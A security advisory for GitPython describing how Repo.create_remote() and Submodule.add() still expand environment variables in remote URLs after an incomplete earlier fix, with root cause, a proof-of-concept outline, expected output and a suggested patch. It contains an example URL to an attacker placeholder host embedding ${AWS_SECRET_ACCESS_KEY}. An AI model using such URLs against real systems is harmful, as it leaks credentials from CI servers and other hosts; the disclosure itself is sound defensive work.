Privilege escalation In gitpython
Description
GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)
Summary
The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process's environment secret, written into .git/config, and then transmitted to the attacker's host on the next fetch/pull. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.
Root Cause
Fix commit 8ac5a305 added an expand_vars parameter to Git.polish_url() (default True) and used expand_vars=False only in Repo._clone() (git/repo/base.py:1455). The shared helper's dangerous default was left in place, and the other callers were not updated.
git/remote.py:811, Remote.create:
url = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url) if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) # https:// carrying the secret passes repo.git.remote(scmd, "--", name, url, **kwargs) # expanded URL written to .git/config
check_unsafe_protocols() runs after expansion here, so it rejects an ext:: payload but does nothing about an https:// URL that carries an expanded secret in its path or host — the disclosure primitive.
The same unguarded call also sits at git/objects/submodule/base.py:611 (Submodule.add), which writes the expanded URL into .gitmodules (a tracked file) and .git/config.
Steps to Reproduce
Prerequisites
Python 3.9+
git on PATH (for the fetch step)
GitPython 3.1.53 (installed below)
Step 1: Install GitPython 3.1.53 in a clean venv
mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc python3 -m venv venv ./venv/bin/pip install gitpython==3.1.53
Step 2: Write the PoC
cat > poc.py <<'PYEOF' #!/usr/bin/env python3 """Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.""" import http.server import os import tempfile import threading ...
Step 3: Run it
cd /tmp/gp-remote-poc && ./venv/bin/python poc.py
Expected output (the listener's ephemeral port is shown as PORT):
gitpython version: 3.1.53 attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git stored remote URL : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git SENTINEL in git config: True HTTP paths received : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack'] SENTINEL over network : True VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host...
The ${GP_SENTINEL_SECRET} token in the supplied URL is replaced with the environment value both in the stored .git/config URL and in the request that reaches the attacker-controlled host.
Suggested Fix
Pass expand_vars=False at the remaining URL callers, matching the clone fix:
git/remote.py Remote.create: url = Git.polish_url(url, expand_vars=False)
git/objects/submodule/base.py Submodule.add: url = Git.polish_url(url, expand_vars=False)
More robustly, flip the Git.polish_url() default to expand_vars=False (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.
Cleanup
rm -rf /tmp/gp-remote-poc
Impact
Any secret in the hosting process environment (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to Repo.create_remote() / Remote.add(). The secret is expanded into .git/config immediately and transmitted over the network (DNS + HTTP) on the next fetch/pull/remote update. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches .gitmodules (a committable file) via Submodule.add().
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Component | Affected version | Patched versions |
|---|---|---|---|
pypi | 3.1.55 |
Aliases
References